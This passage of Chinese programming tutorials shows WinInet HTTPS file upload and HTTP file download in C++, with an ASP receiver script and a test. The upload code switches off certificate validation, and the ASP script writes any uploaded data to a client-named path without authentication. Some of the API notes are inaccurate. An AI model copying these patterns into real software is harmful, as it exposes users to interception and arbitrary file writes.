    hRequest [in]一个HINTERNET句柄通过调用WinHttpOpenRequest返回。pwszHeaders [in]请求的头域字符串,每个头域(多个头域以)使用回车换行(\r\n)结束dwHeadersLength [in]无符号长整型变量,指向pwszHeaders的长度,如果该参数为(ulong)-1L时,自动以”/0”结束来计算pwszHeaders的长度。dwModifiers [in]头域的修改模式。包括如下值:WINHTTP_ADDREQ_FLAG_ADD 添加一个头域,如果头域存在时值将被新添加的值替换。与WINHTTP_ADDREQ_FLAG_REPLAC一起使用WINHTTP_ADDREQ_FLAG_ADD_IF_NEW 添加一个不存在头域,如果该头域存在则返回一个错误。WINHTTP_ADDREQ_FLAG_COALESCE 将同名的头域进行合并。WINHTTP_ADDREQ_FLAG_COALESCE_WITH_COMMA 合并同名的头域,值使用逗号隔开。WINHTTP_ADDREQ_FLAG_COALESCE_WITH_SEMICOLON 合并同名的头域,值使用分号隔开。WINHTTP_ADDREQ_FLAG_REPLACE 替换和删除一个头域,如果值为空,则删除,否则被替换。
    返回值
    返回值为假时,使用GetLastError来得到错误信息。err code:ERROR_WINHTTP_INCORRECT_HANDLE_STATE 请求不能被执行,因为句柄的状态不正确ERROR_WINHTTP_INCORRECT_HANDLE_TYPE 请求的句柄类型不正确ERROR_WINHTTP_INTERNAL_ERROR 内部错误ERROR_NOT_ENOUGH_MEMORY 没有足够的内存来完成操作。

    5. InternetWriteFile介绍
    函数声明
    BOOL InternetWriteFile( __in HINTERNET hFile,__out LPVOID lpBuffer,__in DWORD dwNumberOfBytesToRead,__out LPDWORD lpdwNumberOfBytesRead);
    参数

    hFile[in]
    由InternetOpenUrl,FtpOpenFile, 或HttpOpenRequest函数返回的句柄.
    lpBuffer[out]
    缓冲器指针
    dwNumberOfBytesToRead[in]
    欲写入数据的字节量。
    lpdwNumberOfBytesRead[out]
    接收写入字节量的变量。该函数在做任何工作或错误检查之前都设置该值为零

    返回值成功:返回TRUE,失败,返回FALSE

    程序设计原理该部分讲解下程序设计的原理以及实现的流程,让大家有个宏观的认识。原理是:

    首先,使用 InternetCrackUrl 函数分解URL,从URL中提取网站的域名、路径以及URL的附加信息等。关于 InternetCrackUrl 分解URL的介绍和实现,可以参考 “URL分解之InternetCrackUrl” 这篇文章
    使用 InternetOpen 建立会话,获取会话句柄
    使用 InternetConnect 与网站建立连接,获取连接句柄
    设置HTTPS的访问标志,使用 HttpOpenRequest 打开HTTP的“POST”请求
    构造请求信息头字符串,并使用 HttpAddRequestHeaders 附加请求信息头
    使用 HttpSendRequestEx发送访问请求,同时根据出错返回的错误码,来判断是否设置忽略未知的证书颁发机构,以确保能正常访问HTTPS网站
    使用 InternetWriteFile 上传数据
    数据上传完毕之后,使用 HttpEndRequest 函数结束请求
    关闭句柄,释放资源

    其中,需要注意的是第 5 步,这一步是与HTTPS文件下载不同的地方,这一步需要构造请求信息头,所以构造请求信息头的字符串的时候,一定要严格按照协议格式去构造。例如回车换行、空格之类的。
    编程实现1. 导入WinInet库#include <WinInet.h>#pragma comment(lib, "WinInet.lib")
    2. HTTPS文件上传编程实现// 数据上传// 输入:上传数据的URL路径、上传数据内容、上传数据内容长度BOOL Https_Upload(char *pszUploadUrl, BYTE *pUploadData, DWORD dwUploadDataSize){ // INTERNET_SCHEME_HTTPS、INTERNET_SCHEME_HTTP、INTERNET_SCHEME_FTP等 char szScheme[MAX_PATH] = { 0 }; char szHostName[MAX_PATH] = { 0 }; char szUserName[MAX_PATH] = { 0 }; char szPassword[MAX_PATH] = { 0 }; char szUrlPath[MAX_PATH] = { 0 }; char szExtraInfo[MAX_PATH] = { 0 }; ::RtlZeroMemory(szScheme, MAX_PATH); ::RtlZeroMemory(szHostName, MAX_PATH); ::RtlZeroMemory(szUserName, MAX_PATH); ::RtlZeroMemory(szPassword, MAX_PATH); ::RtlZeroMemory(szUrlPath, MAX_PATH); ::RtlZeroMemory(szExtraInfo, MAX_PATH); // 分解URL if (FALSE == Https_UrlCrack(pszUploadUrl, szScheme, szHostName, szUserName, szPassword, szUrlPath, szExtraInfo, MAX_PATH)) { return FALSE; } // 数据上传 HINTERNET hInternet = NULL; HINTERNET hConnect = NULL; HINTERNET hRequest = NULL; DWORD dwOpenRequestFlags = 0; BOOL bRet = FALSE; DWORD dwRet = 0; unsigned char *pResponseHeaderIInfo = NULL; DWORD dwResponseHeaderIInfoSize = 2048; BYTE *pBuf = NULL; DWORD dwBufSize = 64 * 1024; BYTE *pResponseBodyData = NULL; DWORD dwResponseBodyDataSize = 0; DWORD dwOffset = 0; do { // 建立会话 hInternet = ::InternetOpen("WinInetPost/0.1", INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0); if (NULL == hInternet) { Https_ShowError("InternetOpen"); break; } // 建立连接 hConnect = ::InternetConnect(hInternet, szHostName, INTERNET_DEFAULT_HTTPS_PORT, szUserName, szPassword, INTERNET_SERVICE_HTTP, 0, 0); if (NULL == hConnect) { Https_ShowError("InternetConnect"); break; } // 打开并发送HTTP请求 dwOpenRequestFlags = INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTP | INTERNET_FLAG_KEEP_CONNECTION | INTERNET_FLAG_NO_AUTH | INTERNET_FLAG_NO_COOKIES | INTERNET_FLAG_NO_UI | // HTTPS SETTING INTERNET_FLAG_SECURE | INTERNET_FLAG_IGNORE_CERT_CN_INVALID | INTERNET_FLAG_RELOAD; if (0 < ::lstrlen(szExtraInfo)) { // 注意此处的连接 ::lstrcat(szUrlPath, szExtraInfo); } hRequest = ::HttpOpenRequest(hConnect, "POST", szUrlPath, NULL, NULL, NULL, dwOpenRequestFlags, 0); if (NULL == hRequest) { Https_ShowError("HttpOpenRequest"); break; } // 附加 请求头(可以写也可以不写, 不写的话直接发送数据也可以, 主要是看服务端和客户端的数据传输约定; 批量发送的时候要用到) char szBoundary[] = "-------------MyUploadBoundary"; // 数据边界 char szRequestHeaders[MAX_PATH] = { 0 }; ::RtlZeroMemory(szRequestHeaders, MAX_PATH); ::wsprintf(szRequestHeaders, // 构造 请求头数据信息 "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/xaml+xml,*/*\r\n" "Accept-Encoding: gzip, deflate\r\n" "Accept-Language: zh-cn\r\n" "Content-Type: multipart/form-data; boundary=%s\r\n" "Cache-Control: no-cache\r\n\r\n", szBoundary); bRet = ::HttpAddRequestHeaders(hRequest, szRequestHeaders, ::lstrlen(szRequestHeaders), HTTP_ADDREQ_FLAG_ADD); if (FALSE == bRet) { Https_ShowError("HttpAddRequestHeaders"); break; } // 构造将要发送的数据包格式 // 1. 文件数据前缀(可选) char szPreData[1024] = { 0 }; int iPostValue = 7758; char szUploadFileName[] = "C:\\User\\DemonGan.txt"; ::RtlZeroMemory(szPreData, 1024); ::wsprintf(szPreData, "--%s\r\nContent-Disposition: form-data; name=\"%s\"\r\n\r\n%d\r\n" "--%s\r\nContent-Disposition: form-data; name=\"%s\"; filename=\"%s\"\r\n" // 二进制数据流 --> (jpg || jpeg file)"Content-Type: image/pjpeg\r\n\r\n" --> // (gif file)"Content-Type: image/gif\r\n\r\n" --> (png file)"Content-Type: image/x-png\r\n\r\n" "Content-Type: application/octet-stream\r\n\r\n", szBoundary, "MyValue", iPostValue, szBoundary, "MyUploadFileName", szUploadFileName); // 2. 上传主体内容数据(可以是多个文件数据, 但是要用 szBoundary 分开) // ----> pUploadData // 3.结束后缀(可选) char szSufData[1024] = { 0 }; ::RtlZeroMemory(szSufData, 1024); ::wsprintf(szSufData, "\r\n--%s\r\nContent-Disposition: form-data; name=\"%s\"\r\n\r\n%s\r\n--%s--", szBoundary, "MyUploadOver", "OVER", szBoundary); // 计算数据包的大小 = 前缀数据包大小 + 主体数据大小 + 后缀数据包大小 // 并 发送请求, 告诉服务器传输数据的总大小 DWORD dwPostDataSize = ::lstrlen(szPreData) + dwUploadDataSize + ::lstrlen(szSufData); // DWORD dwPostDataSize = dwUploadDataSize; INTERNET_BUFFERS internetBuffers = { 0 }; ::RtlZeroMemory(&internetBuffers, sizeof(internetBuffers)); internetBuffers.dwStructSize = sizeof(internetBuffers); internetBuffers.dwBufferTotal = dwPostDataSize; bRet = ::HttpSendRequestEx(hRequest, &internetBuffers, NULL, 0, 0); if (FALSE == bRet) { if (ERROR_INTERNET_INVALID_CA == ::GetLastError()) { DWORD dwFlags = 0; DWORD dwBufferSize = sizeof(dwFlags); // 获取INTERNET_OPTION_SECURITY_FLAGS标志 bRet = ::InternetQueryOption(hRequest, INTERNET_OPTION_SECURITY_FLAGS, &dwFlags, &dwBufferSize); if (bRet) { // 设置INTERNET_OPTION_SECURITY_FLAGS标志 // 忽略未知的证书颁发机构 dwFlags = dwFlags | SECURITY_FLAG_IGNORE_UNKNOWN_CA; bRet = ::InternetSetOption(hRequest, INTERNET_OPTION_SECURITY_FLAGS, &dwFlags, sizeof(dwFlags)); if (bRet) { // 再次发送请求 bRet = ::HttpSendRequestEx(hRequest, &internetBuffers, NULL, 0, 0); if (FALSE == bRet) { Https_ShowError("HttpSendRequestEx"); break; } } else { Https_ShowError("InternetSetOption"); break; } } else { Https_ShowError("InternetQueryOption"); break; } } else { Https_ShowError("HttpSendRequestEx"); break; } } // 发送数据 // 发送前缀数据(可选) bRet = ::InternetWriteFile(hRequest, szPreData, ::lstrlen(szPreData), &dwRet); if (FALSE == bRet) { Https_ShowError("InternetWriteFile1"); break; } // 发送主体内容数据 bRet = ::InternetWriteFile(hRequest, pUploadData, dwUploadDataSize, &dwRet); if (FALSE == bRet) { Https_ShowError("InternetWriteFile2"); break; } // 发送后缀数据(可选) bRet = ::InternetWriteFile(hRequest, szSufData, ::lstrlen(szSufData), &dwRet); if (FALSE == bRet) { Https_ShowError("InternetWriteFile3"); break; } // 发送完毕, 结束请求 bRet = ::HttpEndRequest(hRequest, NULL, 0, 0); if (FALSE == bRet) { Https_ShowError("HttpEndRequest"); break; } // 接收来自服务器响应的数据 // 接收响应的报文信息头(Get Response Header) pResponseHeaderIInfo = new unsigned char[dwResponseHeaderIInfoSize]; if (NULL == pResponseHeaderIInfo) { break; } ::RtlZeroMemory(pResponseHeaderIInfo, dwResponseHeaderIInfoSize); bRet = ::HttpQueryInfo(hRequest, HTTP_QUERY_RAW_HEADERS_CRLF, pResponseHeaderIInfo, &dwResponseHeaderIInfoSize, NULL); if (FALSE == bRet) { Https_ShowError("HttpQueryInfo"); break; }#ifdef _DEBUG printf("[HTTPS_Upload_ResponseHeaderIInfo]\n\n%s\n\n", pResponseHeaderIInfo);#endif // 从 中字段 "Content-Length: "(注意有个空格) 获取数据长度 bRet = Https_GetContentLength((char *)pResponseHeaderIInfo, &dwResponseBodyDataSize); if (FALSE == bRet) { break; } // 接收报文主体内容(Get Response Body) pBuf = new BYTE[dwBufSize]; if (NULL == pBuf) { break; } pResponseBodyData = new BYTE[dwResponseBodyDataSize]; if (NULL == pResponseBodyData) { break; } ::RtlZeroMemory(pResponseBodyData, dwResponseBodyDataSize); do { ::RtlZeroMemory(pBuf, dwBufSize); bRet = ::InternetReadFile(hRequest, pBuf, dwBufSize, &dwRet); if (FALSE == bRet) { Https_ShowError("InternetReadFile"); break; } ::RtlCopyMemory((pResponseBodyData + dwOffset), pBuf, dwRet); dwOffset = dwOffset + dwRet; } while (dwResponseBodyDataSize > dwOffset); } while (FALSE); // 关闭 释放 if (NULL != pResponseBodyData) { delete[]pResponseBodyData; pResponseBodyData = NULL; } if (NULL != pBuf) { delete[]pBuf; pBuf = NULL; } if (NULL != pResponseHeaderIInfo) { delete[]pResponseHeaderIInfo; pResponseHeaderIInfo = NULL; } if (NULL != hRequest) { ::InternetCloseHandle(hRequest); hRequest = NULL; } if (NULL != hConnect) { ::InternetCloseHandle(hConnect); hConnect = NULL; } if (NULL != hInternet) { ::InternetCloseHandle(hInternet); hInternet = NULL; } return bRet;}
    3. ASP接收文件程序mytest1.asp<%'ASP文件接收程序dim file,obj,fsofile = Trim(Request("file"))If file = "" Then Response.Write "上传错误文件名未指定": Response.EndSet obj = Server.CreateObject("Adodb.Stream")With obj.Type = 1.Mode = 3.Open.Write Request.BinaryRead(Request.TotalBytes).Position = 0.SaveToFile Server.Mappath(file), 2.CloseEnd WithSet obj = NothingSet fso = CreateObject("Scripting.FileSystemObject")If fso.FileExists(Server.Mappath(file)) ThenResponse.Write "上传成功"ElseResponse.Write "上传失败"End IfSet fso = Nothing%>
    程序测试在main函数中,调用上述封装好的函数,上传文件进行测试。
    main函数为:
    int _tmain(int argc, _TCHAR* argv[]){ char szHttpsUploadUrl[] = "https://192.168.28.137/mytest1.asp?file=520.zip"; char szHttpsUploadFileName[] = "C:\\Users\\Desktop\\520.zip"; BYTE *pHttpsUploadData = NULL; DWORD dwHttpsUploadDataSize = 0; DWORD dwRets = 0; // 打开文件 HANDLE hFiles = ::CreateFile(szHttpsUploadFileName, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_ARCHIVE, NULL); if (INVALID_HANDLE_VALUE == hFiles) { return 1; } // 获取文件大小 dwHttpsUploadDataSize = ::GetFileSize(hFiles, NULL); // 读取文件数据 pHttpsUploadData = new BYTE[dwHttpsUploadDataSize]; ::ReadFile(hFiles, pHttpsUploadData, dwHttpsUploadDataSize, &dwRets, NULL); dwHttpsUploadDataSize = dwRets; // 上传数据 if (FALSE == Https_Upload(szHttpsUploadUrl, pHttpsUploadData, dwHttpsUploadDataSize)) { return 2; } // 释放内存 delete []pHttpsUploadData; pHttpsUploadData = NULL; ::CloseHandle(hFiles); system("pause"); return 0;}
    测试结果:
    根据传输返回的Response Header可知,数据上传成功。

    查看ASP服务器目录,成功获取17795KB大小的“mmyyyytestupload1”文件。

    总结相对与HTTPS的文件下载,HTTPS文件上传需要注意两点。一是要注意HttpOpenRequest 中要打开“POST”请求;二是在构造请求头信息的时候,一定要严格按照协议格式去写,具体格式可以到网上搜索。
    参考参考自《Windows黑客编程技术详解》一书
    1 回答 2018-12-21 08:58:16
  • 基于WinInet实现的HTTP文件下载

    背景之前写过的网络数据传输的小程序都是基于Socket去写的,所以,如果要用Socket传输数据到网站,还需要根据域名获取服务器的IP地址,然后再建立连接,传输数据。虽然,Socket也可以实现网络传输,但是,总感觉不是很方便。所以,后来随着知识面的拓展,了解到Windows还专门提供了WinInet网络库,封装了比较简便的接口,去实现HTTP和FTP等传输协议的数据传输。
    本文就是基于WinInet网络库,实现通过HTTP传输协议下载文件功能的小程序。现在,就把开发过程的思路和编程分享给大家。
    主要函数介绍介绍HTTP下载文件使用到的主要的WinInet库中的API函数。
    1. InternetOpen介绍
    函数声明
    HINTERNET InternetOpen(In LPCTSTR lpszAgent,In DWORD dwAccessType,In LPCTSTR lpszProxyName,In LPCTSTR lpszProxyBypass,In DWORD dwFlags);
    参数lpszAgent指向一个空结束的字符串,该字符串指定调用WinInet函数的应用程序或实体的名称。使用此名称作为用户代理的HTTP协议。dwAccessType指定访问类型,参数可以是下列值之一:



    Value
    Meaning




    INTERNET_OPEN_TYPE_DIRECT
    使用直接连接网络


    INTERNET_OPEN_TYPE_PRECONFIG
    获取代理或直接从注册表中的配置,使用代理连接网络


    INTERNETOPEN_TYPE_PRECONFIG WITH_NO_AUTOPROXY
    获取代理或直接从注册表中的配置,并防止启动Microsoft JScript或Internet设置(INS)文件的使用


    INTERNET_OPEN_TYPE_PROXY
    通过代理的请求,除非代理旁路列表中提供的名称解析绕过代理,在这种情况下,该功能的使用



    lpszProxyName指针指向一个空结束的字符串,该字符串指定的代理服务器的名称,不要使用空字符串;如果dwAccessType未设置为INTERNET_OPEN_TYPE_PROXY,则此参数应该设置为NULL。
    lpszProxyBypass指向一个空结束的字符串,该字符串指定的可选列表的主机名或IP地址。如果dwAccessType未设置为INTERNET_OPEN_TYPE_PROXY的 ,参数省略则为NULL。
    dwFlags参数可以是下列值的组合:



    VALUE
    MEANING




    INTERNET_FLAG_ASYNC
    使异步请求处理的后裔从这个函数返回的句柄


    INTERNET_FLAG_FROM_CACHE
    不进行网络请求,从缓存返回的所有实体,如果请求的项目不在缓存中,则返回一个合适的错误,如ERROR_FILE_NOT_FOUND


    INTERNET_FLAG_OFFLINE
    不进行网络请求,从缓存返回的所有实体,如果请求的项目不在缓存中,则返回一个合适的错误,如ERROR_FILE_NOT_FOUND



    返回值成功:返回一个有效的句柄,该句柄将由应用程序传递给接下来的WinInet函数。失败:返回NULL。

    2. InternetConnect介绍
    函数声明
    HINTERNET WINAPI InternetConnect( HINTERNET hInternet, LPCTSTR lpszServerName, INTERNET_PORT nServerPort, LPCTSTR lpszUserName, LPCTSTR lpszPassword, DWORD dwService, DWORD dwFlags, DWORD dwContext);
    参数说明hInternet:由InternetOpen返回的句柄。lpszServerName:连接的ip或者主机名nServerPort:连接的端口。lpszUserName:用户名,如无置NULL。lpszPassword:密码,如无置NULL。dwService:使用的服务类型,可以使用以下

    INTERNET_SERVICE_FTP = 1:连接到一个 FTP 服务器上INTERNET_SERVICE_GOPHER = 2INTERNET_SERVICE_HTTP = 3:连接到一个 HTTP 服务器上
    dwFlags:文档传输形式及缓存标记。一般置0。dwContext:当使用回叫信号时, 用来识别应用程序的前后关系。返回值成功返回非0。如果返回0。要InternetCloseHandle释放这个句柄。

    3. HttpOpenRequest介绍
    函数声明
    HINTERNET HttpOpenRequest( _In_ HINTERNET hConnect, _In_ LPCTSTR lpszVerb, _In_ LPCTSTR lpszObjectName, _In_ LPCTSTR lpszVersion, _In_ LPCTSTR lpszReferer, _In_ LPCTSTR *lplpszAcceptTypes, _In_ DWORD dwFlags, _In_ DWORD_PTR dwContext);
    参数
    hConnect:由InternetConnect返回的句柄。
    lpszVerb:一个指向某个包含在请求中要用的动词的字符串指针。如果为NULL,则使用“GET”。
    lpszObjectName:一个指向某个包含特殊动词的目标对象的字符串的指针。通常为文件名称、可执行模块或者查找标识符。
    lpszVersion:一个指向以null结尾的字符串的指针,该字符串包含在请求中使用的HTTP版本,Internet Explorer中的设置将覆盖该参数中指定的值。如果此参数为NULL,则该函数使用1.1或1.0的HTTP版本,这取决于Internet Explorer设置的值。
    lpszReferer:一个指向指定了包含着所需的URL (pstrObjectName)的文档地址(URL)的指针。如果为NULL,则不指定HTTP头。
    lplpszAcceptTypes:一个指向某空终止符的字符串的指针,该字符串表示客户接受的内容类型。如果该字符串为NULL,服务器认为客户接受“text/*”类型的文档 (也就是说,只有纯文本文档,并且不是图片或其它二进制文件)。内容类型与CGI变量CONTENT_TYPE相同,该变量确定了要查询的含有相关信息的数据的类型,如HTTP POST和PUT。
    dwFlags:dwFlags的值可以是下面一个或者多个。



    价值
    说明




    INTERNET_FLAG_DONT_CACHE
    不缓存的数据,在本地或在任何网关。 相同的首选值INTERNET_FLAG_NO_CACHE_WRITE。


    INTERNET_FLAG_EXISTING_CONNECT
    如果可能的话,重用现有的连接到每个服务器请求新的请求而产生的InternetOpenUrl创建一个新的会话。 这个标志是有用的,只有对FTP连接,因为FTP是唯一的协议,通常在同一会议执行多个操作。 在Win 32 API的缓存一个单一的Internet连接句柄为每个HINTERNET处理产生的InternetOpen。


    INTERNET_FLAG -超链接
    强制重载如果没有到期的时间也没有最后修改时间从服务器在决定是否加载该项目从网络返回。


    INTERNET_FLAG_IGNORE_CERT_CN_INVALID
    禁用的Win32上网功能的SSL /厘为基础的打击是从给定的请求服务器返回的主机名称证书检查。 Win32的上网功能用来对付证书由匹配主机名和HTTP请求一个简单的通配符规则比较简单的检查。


    INTERNET_FLAG_IGNORE_CERT_DATE_INVALID
    禁用的Win32上网功能的SSL /厘为基础的HTTP请求适当的日期,证书的有效性检查。


    INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTP
    禁用的Win32上网功能能够探测到这种特殊类型的重定向。 当使用此标志,透明的Win32上网功能允许对HTTP重定向的URL从HTTPS。


    INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTPS
    禁用的Win32上网功能能够探测到这种特殊类型的重定向。 当使用此标志,透明的Win32上网功能允许从HTTP重定向到HTTPS网址。


    INTERNET_FLAG_KEEP_CONNECTION
    使用保持活动语义,如果有的话,给HTTP请求连接。 这个标志是必需的微软网络(MSN),NT LAN管理器(NTLM)和其他类型的身份验证。


    INTERNET_FLAG_MAKE_PERSISTENT
    不再支持。


    INTERNET_FLAG_MUST_CACHE_REQUEST
    导致一个临时文件如果要创建的文件不能被缓存。 相同的首选值INTERNET_FLAG_NEED_FILE。


    INTERNET_FLAG_NEED_FILE
    导致一个临时文件如果要创建的文件不能被缓存。


    INTERNET_FLAG_NO_AUTH
    不尝试HTTP请求身份验证自动。


    INTERNET_FLAG_NO_AUTO_REDIRECT
    不自动处理HTTP请求重定向只。


    INTERNET_FLAG_NO_CACHE_WRITE
    不缓存的数据,在本地或在任何网关。


    INTERNET_FLAG_NO_COOKIES
    不会自动添加Cookie标头的请求,并不会自动添加返回的Cookie的HTTP请求的Cookie数据库。


    INTERNET_FLAG_NO_UI
    禁用cookie的对话框。


    INTERNET_FLAG_PASSIVE
    使用被动FTP语义FTP文件和目录。


    INTERNET_FLAG_RAW_DATA
    返回一个数据WIN32_FIND_DATA结构时,FTP目录检索信息。 如果这个标志,或者未指定代理的电话是通过一个CERN,InternetOpenUrl返回的HTML版本的目录。


    INTERNET_FLAG_PRAGMA_NOCACHE
    强制要求被解决的原始服务器,即使在代理缓存的副本存在。


    INTERNET_FLAG_READ_PREFETCH
    该标志目前已停用。


    INTERNET_FLAG_RELOAD
    从导线获取数据,即使是一个本地缓存。


    INTERNET_FLAG_RESYNCHRONIZE
    重整HTTP资源,如果资源已被修改自上一次被下载。 所有的FTP资源增值。


    INTERNET_FLAG_SECURE
    请确保在使用SSL或PCT线交易。 此标志仅适用于HTTP请求。



    dwContext:OpenRequest操作的上下文标识符。

    4. InternetReadFile介绍
    函数声明
    BOOL InternetReadFile( __in HINTERNET hFile,__out LPVOID lpBuffer,__in DWORD dwNumberOfBytesToRead,__out LPDWORD lpdwNumberOfBytesRead);
    参数

    hFile[in]
    由InternetOpenUrl,FtpOpenFile, 或HttpOpenRequest函数返回的句柄.
    lpBuffer[out]
    缓冲器指针
    dwNumberOfBytesToRead[in]
    欲读数据的字节量。
    lpdwNumberOfBytesRead[out]
    接收读取字节量的变量。该函数在做任何工作或错误检查之前都设置该值为零

    返回值成功:返回TRUE,失败,返回FALSE

    程序设计原理该部分讲解下程序设计的原理以及实现的流程,让大家有个宏观的认识。原理是:

    首先,使用 InternetCrackUrl 函数分解URL,从URL中提取网站的域名、路径以及URL的附加信息等。关于 InternetCrackUrl 分解URL的介绍和实现,可以参考本站上的的 “URL分解之InternetCrackUrl” 这篇文章
    使用 InternetOpen 建立会话,获取会话句柄
    使用 InternetConnect 与网站建立连接,获取连接句柄
    设置HTTP的访问标志,使用 HttpOpenRequest 打开HTTP的“GET”请求
    使用 HttpSendRequest 发送访问请求
    根据返回的Response Header的数据中,获取将要接收数据的长度
    使用 InternetReadFile 接收数据
    关闭句柄,释放资源

    其中,上面的 8 个步骤中,要注意的就是第 6 步,获取返回的数据长度,是从响应信息头中的获取“Content-Length: ”(注意有个空格)这个字段的数据。
    编程实现1. 导入WinInet库#include <WinInet.h>#pragma comment(lib, "WinInet.lib")
    2. HTTP文件下载编程实现// 数据下载// 输入:下载数据的URL路径// 输出:下载数据内容、下载数据内容长度BOOL Http_Download(char *pszDownloadUrl, BYTE **ppDownloadData, DWORD *pdwDownloadDataSize){ // INTERNET_SCHEME_HTTPS、INTERNET_SCHEME_HTTP、INTERNET_SCHEME_FTP等 char szScheme[MAX_PATH] = { 0 }; char szHostName[MAX_PATH] = { 0 }; char szUserName[MAX_PATH] = { 0 }; char szPassword[MAX_PATH] = { 0 }; char szUrlPath[MAX_PATH] = { 0 }; char szExtraInfo[MAX_PATH] = { 0 }; ::RtlZeroMemory(szScheme, MAX_PATH); ::RtlZeroMemory(szHostName, MAX_PATH); ::RtlZeroMemory(szUserName, MAX_PATH); ::RtlZeroMemory(szPassword, MAX_PATH); ::RtlZeroMemory(szUrlPath, MAX_PATH); ::RtlZeroMemory(szExtraInfo, MAX_PATH); // 分解URL if (FALSE == Http_UrlCrack(pszDownloadUrl, szScheme, szHostName, szUserName, szPassword, szUrlPath, szExtraInfo, MAX_PATH)) { return FALSE; } // 数据下载 HINTERNET hInternet = NULL; HINTERNET hConnect = NULL; HINTERNET hRequest = NULL; DWORD dwOpenRequestFlags = 0; BOOL bRet = FALSE; unsigned char *pResponseHeaderIInfo = NULL; DWORD dwResponseHeaderIInfoSize = 2048; BYTE *pBuf = NULL; DWORD dwBufSize = 64 * 1024; BYTE *pDownloadData = NULL; DWORD dwDownloadDataSize = 0; DWORD dwRet = 0; DWORD dwOffset = 0; do { // 建立会话 hInternet = ::InternetOpen("WinInetGet/0.1", INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0); if (NULL == hInternet) { Http_ShowError("InternetOpen"); break; } // 建立连接 hConnect = ::InternetConnect(hInternet, szHostName, INTERNET_DEFAULT_HTTP_PORT, szUserName, szPassword, INTERNET_SERVICE_HTTP, 0, 0); if (NULL == hConnect) { Http_ShowError("InternetConnect"); break; } // 打开并发送HTTP请求 dwOpenRequestFlags = INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTP | INTERNET_FLAG_KEEP_CONNECTION | INTERNET_FLAG_NO_AUTH | INTERNET_FLAG_NO_COOKIES | INTERNET_FLAG_NO_UI; if (0 < ::lstrlen(szExtraInfo)) { // 注意此处的连接 ::lstrcat(szUrlPath, szExtraInfo); } hRequest = ::HttpOpenRequest(hConnect, "GET", szUrlPath, NULL, NULL, NULL, dwOpenRequestFlags, 0); if (NULL == hRequest) { Http_ShowError("HttpOpenRequest"); break; } // 发送请求 bRet = ::HttpSendRequest(hRequest, NULL, 0, NULL, 0); if (FALSE == bRet) { Http_ShowError("HttpSendRequest"); break; } // 接收响应的报文信息头(Get Response Header) pResponseHeaderIInfo = new unsigned char[dwResponseHeaderIInfoSize]; if (NULL == pResponseHeaderIInfo) { break; } ::RtlZeroMemory(pResponseHeaderIInfo, dwResponseHeaderIInfoSize); bRet = ::HttpQueryInfo(hRequest, HTTP_QUERY_RAW_HEADERS_CRLF, pResponseHeaderIInfo, &dwResponseHeaderIInfoSize, NULL); if (FALSE == bRet) { Http_ShowError("HttpQueryInfo"); break; }#ifdef _DEBUG printf("[HTTP_Download_ResponseHeaderIInfo]\n\n%s\n\n", pResponseHeaderIInfo);#endif // 从 中字段 "Content-Length: "(注意有个空格) 获取数据长度 bRet = Http_GetContentLength((char *)pResponseHeaderIInfo, &dwDownloadDataSize); if (FALSE == bRet) { break; } // 接收报文主体内容(Get Response Body) pBuf = new BYTE[dwBufSize]; if (NULL == pBuf) { break; } pDownloadData = new BYTE[dwDownloadDataSize]; if (NULL == pDownloadData) { break; } ::RtlZeroMemory(pDownloadData, dwDownloadDataSize); do { ::RtlZeroMemory(pBuf, dwBufSize); bRet = ::InternetReadFile(hRequest, pBuf, dwBufSize, &dwRet); if (FALSE == bRet) { Http_ShowError("InternetReadFile"); break; } ::RtlCopyMemory((pDownloadData + dwOffset), pBuf, dwRet); dwOffset = dwOffset + dwRet; } while (dwDownloadDataSize > dwOffset); // 返回数据 *ppDownloadData = pDownloadData; *pdwDownloadDataSize = dwDownloadDataSize; } while (FALSE); // 关闭 释放 if (NULL != pBuf) { delete[]pBuf; pBuf = NULL; } if (NULL != pResponseHeaderIInfo) { delete[]pResponseHeaderIInfo; pResponseHeaderIInfo = NULL; } if (NULL != hRequest) { ::InternetCloseHandle(hRequest); hRequest = NULL; } if (NULL != hConnect) { ::InternetCloseHandle(hConnect); hConnect = NULL; } if (NULL != hInternet) { ::InternetCloseHandle(hInternet); hInternet = NULL; } return bRet;}
    程序测试在main函数中,调用上述封装好的函数,下载文件进行测试。
    main函数为:
    int _tmain(int argc, _TCHAR* argv[]){ char szHttpDownloadUrl[] = "http://www.demongan.com/source/ccc/dasanxia/520.zip"; BYTE *pHttpDownloadData = NULL; DWORD dwHttpDownloadDataSize = 0; // HTTP下载 if (FALSE == Http_Download(szHttpDownloadUrl, &pHttpDownloadData, &dwHttpDownloadDataSize)) { return 1; } // 将下载数据保存成文件 Http_SaveToFile("http_downloadsavefile.zip", pHttpDownloadData, dwHttpDownloadDataSize); // 释放内存 delete []pHttpDownloadData; pHttpDownloadData = NULL; system("pause"); return 0;}
    测试结果:
    根据返回的Response Header知道,成功下载22761460字节大小的数据。

    查看目录,有22228KB大小的“http_downloadsavefile.zip”文件成功生成,所以,数据下载成功。

    总结基于WinInet库的HTTP下载文件原理并不复杂,但是,因为涉及较多的API,每个API的执行都需要依靠上一个API成功执行返回的数据。所以,要仔细检查。如果出错,也要耐心调试,根据返回的错误码,结合程序前后部分的代码,仔细分析原因。
    参考参考自《Windows黑客编程技术详解》一书
    1 回答 2018-12-20 17:46:07
  • 众源计划:上传资源,赚取现金红包啦

    众源计划“WRITE-BUG技术共享平台”是一个专注于校园计算机技术交流共享的平台,面向的主要目标群体是我们计算机相关专业的大学生。在平台上,大家既可以交流学校课内学习的心得体会,也可以分享自己课外积累的技术经验。
    为了充实平台的资源库,更好地服务于各位同学,平台决定推出“众源计划”,有偿征集同学们自己计算机专业的作业、课程设计或是毕业设计等资源。“众源计划”的主要目的是创建一个具有一定规模的“技术资源库”,资源库里的每一份资源,都必须有详细的开发文档和可编译的源代码。
    作业、课程设计或是毕业设计等资源是同学们自己辛苦付出的成果,也是自己技术进步的见证。这部分资源通常都有详细的开发文档和完整的程序源代码,能够帮助其他初学者更好地消化和吸收将要学习的技术,降低学习门槛。所以,平台决定有偿征集这些资源。
    具体要求活动起止日期
    2018.12.20 - 2019.03.20
    活动对象
